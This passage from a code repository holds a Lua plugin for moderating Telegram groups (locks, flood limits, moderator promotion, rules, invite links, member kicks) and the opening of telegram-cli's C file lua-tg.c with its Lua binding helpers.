'chat_created' then 70 | receiver = get_receiver(msg) 71 | chat_info(receiver, check_member,{receiver=receiver, data=data, msg = msg}) 72 | end 73 | end 74 | local function check_member_modrem(cb_extra, success, result) 75 | local receiver = cb_extra.receiver 76 | local data = cb_extra.data 77 | local msg = cb_extra.msg 78 | for k,v in pairs(result.members) do 79 | local member_id = v.id 80 | if member_id ~= our_id then 81 | -- Group configuration removal 82 | data[tostring(msg.to.id)] = nil 83 | save_data(_config.moderation.data, data) 84 | local groups = 'groups' 85 | if not data[tostring(groups)] then 86 | data[tostring(groups)] = nil 87 | save_data(_config.moderation.data, data) 88 | end 89 | data[tostring(groups)][tostring(msg.to.id)] = nil 90 | save_data(_config.moderation.data, data) 91 | return send_large_msg(receiver, 'Group has been removed') 92 | end 93 | end 94 | end 95 | 96 | local function show_group_settingsmod(msg, data, target) 97 | if not is_momod(msg) then 98 | return "For moderators only!" 99 | end 100 | local data = load_data(_config.moderation.data) 101 | if data[tostring(msg.to.id)] then 102 | if data[tostring(msg.to.id)]['settings']['flood_msg_max'] then 103 | NUM_MSG_MAX = tonumber(data[tostring(msg.to.id)]['settings']['flood_msg_max']) 104 | print('custom'..NUM_MSG_MAX) 105 | else 106 | NUM_MSG_MAX = 5 107 | end 108 | end 109 | local bots_protection = "Yes" 110 | if data[tostring(msg.to.id)]['settings']['lock_bots'] then 111 | bots_protection = data[tostring(msg.to.id)]['settings']['lock_bots'] 112 | end 113 | local settings = data[tostring(target)]['settings'] 114 | local text = "Group settings:\nLock group name : "..settings.lock_name.."\nLock group photo : "..settings.lock_photo.."\nLock group member : "..settings.lock_member.."\nflood sensitivity : "..NUM_MSG_MAX.."\nBot protection : "..bots_protection 115 | return text 116 | end 117 | 118 | local function set_descriptionmod(msg, data, target, about) 119 | if not is_momod(msg) then 120 | return "For moderators only!" 121 | end 122 | local data_cat = 'description' 123 | data[tostring(target)][data_cat] = about 124 | save_data(_config.moderation.data, data) 125 | return 'Set group description to:\n'..about 126 | end 127 | local function get_description(msg, data) 128 | local data_cat = 'description' 129 | if not data[tostring(msg.to.id)][data_cat] then 130 | return 'No description available.' 131 | end 132 | local about = data[tostring(msg.to.id)][data_cat] 133 | local about = string.gsub(msg.to.print_name, "_", " ")..':\n\n'..about 134 | return 'About '..about 135 | end 136 | local function lock_group_arabic(msg, data, target) 137 | if not is_momod(msg) then 138 | return "For moderators only!" 139 | end 140 | local group_arabic_lock = data[tostring(target)]['settings']['lock_arabic'] 141 | if group_arabic_lock == 'yes' then 142 | return 'Arabic is already locked' 143 | else 144 | data[tostring(target)]['settings']['lock_arabic'] = 'yes' 145 | save_data(_config.moderation.data, data) 146 | return 'Arabic has been locked' 147 | end 148 | end 149 | 150 | local function unlock_group_arabic(msg, data, target) 151 | if not is_momod(msg) then 152 | return "For moderators only!" 153 | end 154 | local group_arabic_lock = data[tostring(target)]['settings']['lock_arabic'] 155 | if group_arabic_lock == 'no' then 156 | return 'Arabic is already unlocked' 157 | else 158 | data[tostring(target)]['settings']['lock_arabic'] = 'no' 159 | save_data(_config.moderation.data, data) 160 | return 'Arabic has been unlocked' 161 | end 162 | end 163 | 164 | local function lock_group_bots(msg, data, target) 165 | if not is_momod(msg) then 166 | return "For moderators only!" 167 | end 168 | local group_bots_lock = data[tostring(target)]['settings']['lock_bots'] 169 | if group_bots_lock == 'yes' then 170 | return 'Bots protection is already enabled' 171 | else 172 | data[tostring(target)]['settings']['lock_bots'] = 'yes' 173 | save_data(_config.moderation.data, data) 174 | return 'Bots protection has been enabled' 175 | end 176 | end 177 | 178 | local function unlock_group_bots(msg, data, target) 179 | if not is_momod(msg) then 180 | return "For moderators only!" 181 | end 182 | local group_bots_lock = data[tostring(target)]['settings']['lock_bots'] 183 | if group_bots_lock == 'no' then 184 | return 'Bots protection is already disabled' 185 | else 186 | data[tostring(target)]['settings']['lock_bots'] = 'no' 187 | save_data(_config.moderation.data, data) 188 | return 'Bots protection has been disabled' 189 | end 190 | end 191 | 192 | local function lock_group_namemod(msg, data, target) 193 | if not is_momod(msg) then 194 | return "For moderators only!" 195 | end 196 | local group_name_set = data[tostring(target)]['settings']['set_name'] 197 | local group_name_lock = data[tostring(target)]['settings']['lock_name'] 198 | if group_name_lock == 'yes' then 199 | return 'Group name is already locked' 200 | else 201 | data[tostring(target)]['settings']['lock_name'] = 'yes' 202 | save_data(_config.moderation.data, data) 203 | rename_chat('chat#id'..target, group_name_set, ok_cb, false) 204 | return 'Group name has been locked' 205 | end 206 | end 207 | local function unlock_group_namemod(msg, data, target) 208 | if not is_momod(msg) then 209 | return "For moderators only!" 210 | end 211 | local group_name_set = data[tostring(target)]['settings']['set_name'] 212 | local group_name_lock = data[tostring(target)]['settings']['lock_name'] 213 | if group_name_lock == 'no' then 214 | return 'Group name is already unlocked' 215 | else 216 | data[tostring(target)]['settings']['lock_name'] = 'no' 217 | save_data(_config.moderation.data, data) 218 | return 'Group name has been unlocked' 219 | end 220 | end 221 | local function lock_group_floodmod(msg, data, target) 222 | if not is_owner(msg) then 223 | return "Only admins can do it for now" 224 | end 225 | local group_flood_lock = data[tostring(target)]['settings']['flood'] 226 | if group_flood_lock == 'yes' then 227 | return 'Group flood is locked' 228 | else 229 | data[tostring(target)]['settings']['flood'] = 'yes' 230 | save_data(_config.moderation.data, data) 231 | return 'Group flood has been locked' 232 | end 233 | end 234 | 235 | local function unlock_group_floodmod(msg, data, target) 236 | if not is_owner(msg) then 237 | return "Only admins can do it for now" 238 | end 239 | local group_flood_lock = data[tostring(target)]['settings']['flood'] 240 | if group_flood_lock == 'no' then 241 | return 'Group flood is not locked' 242 | else 243 | data[tostring(target)]['settings']['flood'] = 'no' 244 | save_data(_config.moderation.data, data) 245 | return 'Group flood has been unlocked' 246 | end 247 | end 248 | 249 | local function lock_group_membermod(msg, data, target) 250 | if not is_momod(msg) then 251 | return "For moderators only!" 252 | end 253 | local group_member_lock = data[tostring(target)]['settings']['lock_member'] 254 | if group_member_lock == 'yes' then 255 | return 'Group members are already locked' 256 | else 257 | data[tostring(target)]['settings']['lock_member'] = 'yes' 258 | save_data(_config.moderation.data, data) 259 | end 260 | return 'Group members has been locked' 261 | end 262 | 263 | local function unlock_group_membermod(msg, data, target) 264 | if not is_momod(msg) then 265 | return "For moderators only!" 266 | end 267 | local group_member_lock = data[tostring(target)]['settings']['lock_member'] 268 | if group_member_lock == 'no' then 269 | return 'Group members are not locked' 270 | else 271 | data[tostring(target)]['settings']['lock_member'] = 'no' 272 | save_data(_config.moderation.data, data) 273 | return 'Group members has been unlocked' 274 | end 275 | end 276 | 277 | local function unlock_group_photomod(msg, data, target) 278 | if not is_momod(msg) then 279 | return "For moderators only!" 280 | end 281 | local group_photo_lock = data[tostring(target)]['settings']['lock_photo'] 282 | if group_photo_lock == 'no' then 283 | return 'Group photo is not locked' 284 | else 285 | data[tostring(target)]['settings']['lock_photo'] = 'no' 286 | save_data(_config.moderation.data, data) 287 | return 'Group photo has been unlocked' 288 | end 289 | end 290 | 291 | local function set_rulesmod(msg, data, target) 292 | if not is_momod(msg) then 293 | return "For moderators only!" 294 | end 295 | local data_cat = 'rules' 296 | data[tostring(target)][data_cat] = rules 297 | save_data(_config.moderation.data, data) 298 | return 'Set group rules to:\n'..rules 299 | end 300 | local function modadd(msg) 301 | -- superuser and admins only (because sudo are always has privilege) 302 | if not is_admin(msg) then 303 | return "You're not admin" 304 | end 305 | local data = load_data(_config.moderation.data) 306 | if data[tostring(msg.to.id)] then 307 | return 'Group is already added.' 308 | end 309 | receiver = get_receiver(msg) 310 | chat_info(receiver, check_member_modadd,{receiver=receiver, data=data, msg = msg}) 311 | end 312 | local function modrem(msg) 313 | -- superuser and admins only (because sudo are always has privilege) 314 | if not is_admin(msg) then 315 | return "You're not admin" 316 | end 317 | local data = load_data(_config.moderation.data) 318 | if not data[tostring(msg.to.id)] then 319 | return 'Group is not added.' 320 | end 321 | receiver = get_receiver(msg) 322 | chat_info(receiver, check_member_modrem,{receiver=receiver, data=data, msg = msg}) 323 | end 324 | local function get_rules(msg, data) 325 | local data_cat = 'rules' 326 | if not data[tostring(msg.to.id)][data_cat] then 327 | return 'No rules available.' 328 | end 329 | local rules = data[tostring(msg.to.id)][data_cat] 330 | local rules = 'Chat rules:\n'..rules 331 | return rules 332 | end 333 | 334 | local function set_group_photo(msg, success, result) 335 | local data = load_data(_config.moderation.data) 336 | local receiver = get_receiver(msg) 337 | if success then 338 | local file = 'data/photos/chat_photo_'..msg.to.id..'.jpg' 339 | print('File downloaded to:', result) 340 | os.rename(result, file) 341 | print('File moved to:', file) 342 | chat_set_photo (receiver, file, ok_cb, false) 343 | data[tostring(msg.to.id)]['settings']['set_photo'] = file 344 | save_data(_config.moderation.data, data) 345 | data[tostring(msg.to.id)]['settings']['lock_photo'] = 'yes' 346 | save_data(_config.moderation.data, data) 347 | send_large_msg(receiver, 'Photo saved!', ok_cb, false) 348 | else 349 | print('Error downloading: '..msg.id) 350 | send_large_msg(receiver, 'Failed, please try again!', ok_cb, false) 351 | end 352 | end 353 | 354 | local function promote(receiver, member_username, member_id) 355 | local data = load_data(_config.moderation.data) 356 | local group = string.gsub(receiver, 'chat#id', '') 357 | if not data[group] then 358 | return send_large_msg(receiver, 'Group is not added.') 359 | end 360 | if data[group]['moderators'][tostring(member_id)] then 361 | return send_large_msg(receiver, member_username..' is already a moderator.') 362 | end 363 | data[group]['moderators'][tostring(member_id)] = member_username 364 | save_data(_config.moderation.data, data) 365 | return send_large_msg(receiver, '@'..member_username..' has been promoted.') 366 | end 367 | 368 | local function demote(receiver, member_username, member_id) 369 | local data = load_data(_config.moderation.data) 370 | local group = string.gsub(receiver, 'chat#id', '') 371 | if not data[group] then 372 | return send_large_msg(receiver, 'Group is not added.') 373 | end 374 | if not data[group]['moderators'][tostring(member_id)] then 375 | return send_large_msg(receiver, member_username..' is not a moderator.') 376 | end 377 | data[group]['moderators'][tostring(member_id)] = nil 378 | save_data(_config.moderation.data, data) 379 | return send_large_msg(receiver, '@'..member_username..' has been demoted.') 380 | end 381 | 382 | local function username_id(cb_extra, success, result) 383 | local mod_cmd = cb_extra.mod_cmd 384 | local receiver = cb_extra.receiver 385 | local member = cb_extra.member 386 | local text = 'No user @'..member..' in this group.' 387 | for k,v in pairs(result.members) do 388 | vusername = v.username 389 | if vusername == member then 390 | member_username = member 391 | member_id = v.id 392 | if mod_cmd == 'promote' then 393 | return promote(receiver, member_username, member_id) 394 | elseif mod_cmd == 'demote' then 395 | return demote(receiver, member_username, member_id) 396 | end 397 | end 398 | end 399 | send_large_msg(receiver, text) 400 | end 401 | 402 | local function modlist(msg) 403 | local data = load_data(_config.moderation.data) 404 | if not data[tostring(msg.to.id)] then 405 | return 'Group is not added.' 406 | end 407 | -- determine if table is empty 408 | if next(data[tostring(msg.to.id)]['moderators']) == nil then --fix way 409 | return 'No moderator in this group.' 410 | end 411 | local i = 1 412 | local message = '\nList of moderators for ' .. string.gsub(msg.to.print_name, '_', ' ') .. ':\n' 413 | for k,v in pairs(data[tostring(msg.to.id)]['moderators']) do 414 | message = message ..i..' - @'..v..' [' ..k.. '] \n' 415 | i = i + 1 416 | end 417 | return message 418 | end 419 | 420 | local function callbackres(extra, success, result) 421 | local user = result.id 422 | local name = string.gsub(result.print_name, "_", " ") 423 | local chat = 'chat#id'..extra.chatid 424 | send_large_msg(chat, user..'\n'..name) 425 | return user 426 | end 427 | 428 | 429 | local function help() 430 | local help_text = tostring(_config.help_text) 431 | return help_text 432 | end 433 | 434 | local function cleanmember(cb_extra, success, result) 435 | local receiver = cb_extra.receiver 436 | local chat_id = "chat#id"..result.id 437 | local chatname = result.print_name 438 | if success == -1 then 439 | return send_large_msg(receiver, '*Error: Invite link failed* \nReason: Not creator.') 440 | end 441 | for k,v in pairs(result.members) do 442 | kick_user(v.id, result.id) 443 | end 444 | end 445 | 446 | 447 | local function run(msg, matches) 448 | local data = load_data(_config.moderation.data) 449 | local receiver = get_receiver(msg) 450 | local name_log = user_print_name(msg.from) 451 | local group = msg.to.id 452 | if msg.media then 453 | if msg.media.type == 'photo' and data[tostring(msg.to.id)]['settings']['set_photo'] == 'waiting' and is_chat_msg(msg) and is_momod(msg) then 454 | load_photo(msg.id, set_group_photo, msg) 455 | end 456 | end 457 | if matches[1] == 'add' then 458 | print("group "..msg.to.print_name.."("..msg.to.id..") added") 459 | return modadd(msg) 460 | end 461 | if matches[1] == 'rem' then 462 | print("group "..msg.to.print_name.."("..msg.to.id..") removed") 463 | return modrem(msg) 464 | end 465 | if matches[1] == 'chat_created' and msg.from.id == 0 then 466 | return automodadd(msg) 467 | end 468 | if msg.to.id and data[tostring(msg.to.id)] then 469 | local settings = data[tostring(msg.to.id)]['settings'] 470 | if matches[1] == 'chat_add_user' then 471 | if not msg.service then 472 | return "Are you trying to troll me?" 473 | end 474 | local group_member_lock = settings.lock_member 475 | local user = 'user#id'..msg.action.user.id 476 | local chat = 'chat#id'..msg.to.id 477 | if group_member_lock == 'yes' and not is_owner2(msg.action.user.id, msg.to.id) then 478 | chat_del_user(chat, user, ok_cb, true) 479 | elseif group_member_lock == 'yes' and tonumber(msg.from.id) == tonumber(our_id) then 480 | return nil 481 | elseif group_member_lock == 'no' then 482 | return nil 483 | end 484 | end 485 | if matches[1] == 'chat_add_user' then 486 | if not msg.service then 487 | return "Are you trying to troll me?" 488 | end 489 | local receiver = 'user#id'..msg.action.user.id 490 | local data_cat = 'rules' 491 | if not data[tostring(msg.to.id)][data_cat] then 492 | return false 493 | end 494 | local rules = data[tostring(msg.to.id)][data_cat] 495 | local rules = 'Welcome to "' .. string.gsub(msg.to.print_name, '_', ' ') ..'" this group has rules that you should follow:\n'..rules 496 | 497 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] deleted user "..msg.action.user.id) 498 | send_large_msg(receiver, rules) 499 | end 500 | if matches[1] == 'chat_del_user' then 501 | if not msg.service then 502 | return "Are you trying to troll me?" 503 | end 504 | local user = 'user#id'..msg.action.user.id 505 | local chat = 'chat#id'..msg.to.id 506 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] deleted user "..user) 507 | end 508 | if matches[1] == 'chat_delete_photo' then 509 | if not msg.service then 510 | return "Are you trying to troll me?" 511 | end 512 | local group_photo_lock = settings.lock_photo 513 | if group_photo_lock == 'yes' then 514 | local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id 515 | redis:incr(picturehash) 516 | --- 517 | local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id 518 | local picprotectionredis = redis:get(picturehash) 519 | if picprotectionredis then 520 | if tonumber(picprotectionredis) == 4 and not is_owner(msg) then 521 | kick_user(msg.from.id, msg.to.id) 522 | end 523 | if tonumber(picprotectionredis) == 8 and not is_owner(msg) then 524 | ban_user(msg.from.id, msg.to.id) 525 | local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id 526 | redis:set(picturehash, 0) 527 | end 528 | end 529 | 530 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to deleted picture but failed ") 531 | chat_set_photo(receiver, settings.set_photo, ok_cb, false) 532 | elseif group_photo_lock == 'no' then 533 | return nil 534 | end 535 | end 536 | if matches[1] == 'chat_change_photo' and msg.from.id ~= 0 then 537 | if not msg.service then 538 | return "Are you trying to troll me?" 539 | end 540 | local group_photo_lock = settings.lock_photo 541 | if group_photo_lock == 'yes' then 542 | local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id 543 | redis:incr(picturehash) 544 | --- 545 | local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id 546 | local picprotectionredis = redis:get(picturehash) 547 | if picprotectionredis then 548 | if tonumber(picprotectionredis) == 4 and not is_owner(msg) then 549 | kick_user(msg.from.id, msg.to.id) 550 | end 551 | if tonumber(picprotectionredis) == 8 and not is_owner(msg) then 552 | ban_user(msg.from.id, msg.to.id) 553 | local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id 554 | redis:set(picturehash, 0) 555 | end 556 | end 557 | 558 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to change picture but failed ") 559 | chat_set_photo(receiver, settings.set_photo, ok_cb, false) 560 | elseif group_photo_lock == 'no' then 561 | return nil 562 | end 563 | end 564 | if matches[1] == 'chat_rename' then 565 | if not msg.service then 566 | return "Are you trying to troll me?" 567 | end 568 | local group_name_set = settings.set_name 569 | local group_name_lock = settings.lock_name 570 | local to_rename = 'chat#id'..msg.to.id 571 | if group_name_lock == 'yes' then 572 | if group_name_set ~= tostring(msg.to.print_name) then 573 | local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id 574 | redis:incr(namehash) 575 | local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id 576 | local nameprotectionredis = redis:get(namehash) 577 | if nameprotectionredis then 578 | if tonumber(nameprotectionredis) == 4 and not is_owner(msg) then 579 | kick_user(msg.from.id, msg.to.id) 580 | end 581 | if tonumber(nameprotectionredis) == 8 and not is_owner(msg) then 582 | ban_user(msg.from.id, msg.to.id) 583 | local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id 584 | redis:set(namehash, 0) 585 | end 586 | end 587 | 588 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to change name but failed ") 589 | rename_chat(to_rename, group_name_set, ok_cb, false) 590 | end 591 | elseif group_name_lock == 'no' then 592 | return nil 593 | end 594 | end 595 | if matches[1] == 'setname' and is_momod(msg) then 596 | local new_name = string.gsub(matches[2], '_', ' ') 597 | data[tostring(msg.to.id)]['settings']['set_name'] = new_name 598 | save_data(_config.moderation.data, data) 599 | local group_name_set = data[tostring(msg.to.id)]['settings']['set_name'] 600 | local to_rename = 'chat#id'..msg.to.id 601 | rename_chat(to_rename, group_name_set, ok_cb, false) 602 | 603 | savelog(msg.to.id, "Group { "..msg.to.print_name.." } name changed to [ "..new_name.." ] by "..name_log.." ["..msg.from.id.."]") 604 | end 605 | 606 | if matches[1] == 'setphoto' and is_momod(msg) then 607 | data[tostring(msg.to.id)]['settings']['set_photo'] = 'waiting' 608 | save_data(_config.moderation.data, data) 609 | return 'Please send me new group photo now' 610 | end 611 | 612 | if matches[1] == 'promote' and matches[2] then 613 | if not is_owner(msg) then 614 | return "Only owner can promote" 615 | end 616 | local member = string.gsub(matches[2], "@", "") 617 | local mod_cmd = 'promote' 618 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] promoted @".. member) 619 | chat_info(receiver, username_id, {mod_cmd= mod_cmd, receiver=receiver, member=member}) 620 | end 621 | if matches[1] == 'demote' and matches[2] then 622 | if not is_owner(msg) then 623 | return "Only owner can demote" 624 | end 625 | if string.gsub(matches[2], "@", "") == msg.from.username then 626 | return "You can't demote yourself" 627 | end 628 | local member = string.gsub(matches[2], "@", "") 629 | local mod_cmd = 'demote' 630 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] demoted @".. member) 631 | chat_info(receiver, username_id, {mod_cmd= mod_cmd, receiver=receiver, member=member}) 632 | end 633 | if matches[1] == 'modlist' then 634 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group modlist") 635 | return modlist(msg) 636 | end 637 | if matches[1] == 'about' then 638 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group description") 639 | return get_description(msg, data) 640 | end 641 | if matches[1] == 'rules' then 642 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group rules") 643 | return get_rules(msg, data) 644 | end 645 | if matches[1] == 'set' then 646 | if matches[2] == 'rules' then 647 | rules = matches[3] 648 | local target = msg.to.id 649 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] has changed group rules to ["..matches[3].."]") 650 | return set_rulesmod(msg, data, target) 651 | end 652 | if matches[2] == 'about' then 653 | local data = load_data(_config.moderation.data) 654 | local target = msg.to.id 655 | local about = matches[3] 656 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] has changed group description to ["..matches[3].."]") 657 | return set_descriptionmod(msg, data, target, about) 658 | end 659 | end 660 | if matches[1] == 'lock' then 661 | local target = msg.to.id 662 | if matches[2] == 'name' then 663 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked name ") 664 | return lock_group_namemod(msg, data, target) 665 | end 666 | if matches[2] == 'member' then 667 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked member ") 668 | return lock_group_membermod(msg, data, target) 669 | end 670 | if matches[2] == 'flood' then 671 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked flood ") 672 | return lock_group_floodmod(msg, data, target) 673 | end 674 | if matches[2] == 'arabic' then 675 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked arabic ") 676 | return lock_group_arabic(msg, data, target) 677 | end 678 | if matches[2] == 'bots' then 679 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked bots ") 680 | return lock_group_bots(msg, data, target) 681 | end 682 | end 683 | if matches[1] == 'unlock' then 684 | local target = msg.to.id 685 | if matches[2] == 'name' then 686 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked name ") 687 | return unlock_group_namemod(msg, data, target) 688 | end 689 | if matches[2] == 'member' then 690 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked member ") 691 | return unlock_group_membermod(msg, data, target) 692 | end 693 | if matches[2] == 'photo' then 694 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked photo ") 695 | return unlock_group_photomod(msg, data, target) 696 | end 697 | if matches[2] == 'flood' then 698 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked flood ") 699 | return unlock_group_floodmod(msg, data, target) 700 | end 701 | if matches[2] == 'arabic' then 702 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked arabic ") 703 | return unlock_group_arabic(msg, data, target) 704 | end 705 | if matches[2] == 'bots' then 706 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked bots ") 707 | return unlock_group_bots(msg, data, target) 708 | end 709 | end 710 | if matches[1] == 'settings' then 711 | local target = msg.to.id 712 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group settings ") 713 | return show_group_settingsmod(msg, data, target) 714 | end 715 | if matches[1] == 'newlink' then 716 | if not is_momod(msg) then 717 | return "For moderators only!" 718 | end 719 | local function callback (extra , success, result) 720 | local receiver = 'chat#'..msg.to.id 721 | if success == 0 then 722 | return send_large_msg(receiver, '*Error: Invite link failed* \nReason: Not creator.') 723 | end 724 | send_large_msg(receiver, "Created a new link") 725 | data[tostring(msg.to.id)]['settings']['set_link'] = result 726 | save_data(_config.moderation.data, data) 727 | end 728 | local receiver = 'chat#'..msg.to.id 729 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] revoked group link ") 730 | return export_chat_link(receiver, callback, true) 731 | end 732 | if matches[1] == 'linkpv' then 733 | if not is_momod(msg) then 734 | return "For moderators only!" 735 | end 736 | local group_link = data[tostring(msg.to.id)]['settings']['set_link'] 737 | if not group_link then 738 | return "Create a link using /newlink first !" 739 | end 740 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group link ["..group_link.."]") 741 | send_large_msg('user#id'..msg.from.id, "Group link:\n"..group_link) 742 | end 743 | if matches[1] == 'setowner' then 744 | if not is_owner(msg) then 745 | return "For owner only!" 746 | end 747 | data[tostring(msg.to.id)]['set_owner'] = matches[2] 748 | save_data(_config.moderation.data, data) 749 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] set ["..matches[2].."] as owner") 750 | local text = matches[2].." added as owner" 751 | return text 752 | end 753 | if matches[1] == 'owner' then 754 | local group_owner = data[tostring(msg.to.id)]['set_owner'] 755 | if not group_owner then 756 | return "no owner,ask admins in support groups to set owner for your group" 757 | end 758 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] used /owner") 759 | return "Group owner is ["..group_owner..']' 760 | end 761 | if matches[1] == 'setgpowner' then 762 | local receiver = "chat#id"..matches[2] 763 | if not is_admin(msg) then 764 | return "For admins only!" 765 | end 766 | data[tostring(matches[2])]['set_owner'] = matches[3] 767 | save_data(_config.moderation.data, data) 768 | local text = matches[3].." added as owner" 769 | send_large_msg(receiver, text) 770 | return 771 | end 772 | if matches[1] == 'setflood' then 773 | if not is_momod(msg) then 774 | return "For moderators only!" 775 | end 776 | if tonumber(matches[2]) < 5 or tonumber(matches[2]) > 20 then 777 | return "Wrong number,range is [5-20]" 778 | end 779 | local flood_max = matches[2] 780 | data[tostring(msg.to.id)]['settings']['flood_msg_max'] = flood_max 781 | save_data(_config.moderation.data, data) 782 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] set flood to ["..matches[2].."]") 783 | return 'Group flood has been set to '..matches[2] 784 | end 785 | if matches[1] == 'clean' then 786 | if not is_owner(msg) then 787 | return "Only owner can clean" 788 | end 789 | if matches[2] == 'member' then 790 | if not is_owner(msg) then 791 | return "Only admins can clean members" 792 | end 793 | local receiver = get_receiver(msg) 794 | chat_info(receiver, cleanmember, {receiver=receiver}) 795 | end 796 | if matches[2] == 'modlist' then 797 | if next(data[tostring(msg.to.id)]['moderators']) == nil then --fix way 798 | return 'No moderator in this group.' 799 | end 800 | local message = '\nList of moderators for ' .. string.gsub(msg.to.print_name, '_', ' ') .. ':\n' 801 | for k,v in pairs(data[tostring(msg.to.id)]['moderators']) do 802 | data[tostring(msg.to.id)]['moderators'][tostring(k)] = nil 803 | save_data(_config.moderation.data, data) 804 | end 805 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned modlist") 806 | end 807 | if matches[2] == 'rules' then 808 | local data_cat = 'rules' 809 | data[tostring(msg.to.id)][data_cat] = nil 810 | save_data(_config.moderation.data, data) 811 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned rules") 812 | end 813 | if matches[2] == 'about' then 814 | local data_cat = 'description' 815 | data[tostring(msg.to.id)][data_cat] = nil 816 | save_data(_config.moderation.data, data) 817 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned about") 818 | end 819 | end 820 | 821 | if matches[1] == 'help' then 822 | if not is_momod(msg) then 823 | return 824 | end 825 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /help") 826 | return help() 827 | end 828 | if matches[1] == 'res' and is_momod(msg) then 829 | local cbres_extra = { 830 | chatid = msg.to.id 831 | } 832 | local username = matches[2] 833 | local username = username:gsub("@","") 834 | savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /res "..username) 835 | return res_user(username, callbackres, cbres_extra) 836 | end 837 | end 838 | end 839 | return { 840 | patterns = { 841 | "^[!/](linkpv)$", 842 | "%[(photo)%]", 843 | "^!!tgservice (.+)$", 844 | }, 845 | run = run 846 | } 847 | end 848 | --Iwas Lazy So I Just Removed Patterns And Didn't Del Junk Items 849 | --https://github.com/ThisIsArman 850 | --Telegram.me/ThisIsArman 851 | -------------------------------------------------------------------------------- /Tg/lua-tg.c: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of telegram-cli. 3 | 4 | Telegram-cli is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 2 of the License, or 7 | (at your option) any later version. 8 | 9 | Telegram-cli is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this telegram-cli. If not, see . 16 | 17 | Copyright Vitaly Valtman 2013-2015 18 | */ 19 | 20 | #ifdef HAVE_CONFIG_H 21 | #include "config.h" 22 | #endif 23 | 24 | #ifdef USE_LUA 25 | #include "lua-tg.h" 26 | 27 | #include 28 | #include 29 | 30 | 31 | #include 32 | #include 33 | #include 34 | #ifdef EVENT_V2 35 | #include 36 | #else 37 | #include 38 | #include "event-old.h" 39 | #endif 40 | lua_State *luaState; 41 | 42 | //#include "interface.h" 43 | //#include "auto/constants.h" 44 | #include 45 | #include "interface.h" 46 | 47 | #include 48 | extern int verbosity; 49 | extern struct tgl_state *TLS; 50 | 51 | static int have_file; 52 | 53 | void print_start (void); 54 | void print_end (void); 55 | 56 | int ps_lua_pcall (lua_State *l, int a, int b, int c) { 57 | print_start (); 58 | int r = lua_pcall (l, a, b, c); 59 | print_end (); 60 | return r; 61 | } 62 | 63 | #define my_lua_checkstack(L,x) assert (lua_checkstack (L, x)) 64 | void push_user (tgl_peer_t *P); 65 | void push_peer (tgl_peer_id_t id, tgl_peer_t *P); 66 | 67 | void lua_add_string_field (const char *name, const char *value) { 68 | assert (name && strlen (name)); 69 | if (!value || !strlen (value)) { return; } 70 | my_lua_checkstack (luaState, 3); 71 | lua_pushstring (luaState, name); 72 | lua_pushstring (luaState, value); 73 | lua_settable (luaState, -3); 74 | } 75 | 76 | void lua_add_string_field_arr (int num, const char *value) { 77 | if (!value || !strlen (value)) { return; } 78 | my_lua_checkstack (luaState, 3); 79 | lua_pushnumber (luaState, num); 80 | lua_pushstring (luaState, value); 81 | lua_settable (luaState, -3); 82 | } 83 | 84 | void lua_add_num_field (const char *name, double value) { 85 | assert (name && strlen (name)); 86 | my_lua_checkstack (luaState, 3); 87 | lua_pushstring (luaState, name); 88 | lua_pushnumber (luaState, value); 89 | lua_settable (luaState, -3); 90 | } 91 | 92 | void push_tgl_peer_type (int x) { 93 | switch (x) { 94 | case TGL_PEER_USER: 95 | lua_pushstring (luaState, "user"); 96 | break; 97 | case TGL_PEER_CHAT: 98 | lua_pushstring (luaState, "chat"); 99 | break; 100 | case TGL_PEER_ENCR_CHAT: 101 | lua_pushstring (luaState, "encr_chat"); 102 | break; 103 | default: 104 | assert (0); 105 | } 106 | } 107 | 108 | void push_user (tgl_peer_t *P) { 109 | my_lua_checkstack (luaState, 4); 110 | lua_add_string_field ("first_name", P->user.first_name); 111 | 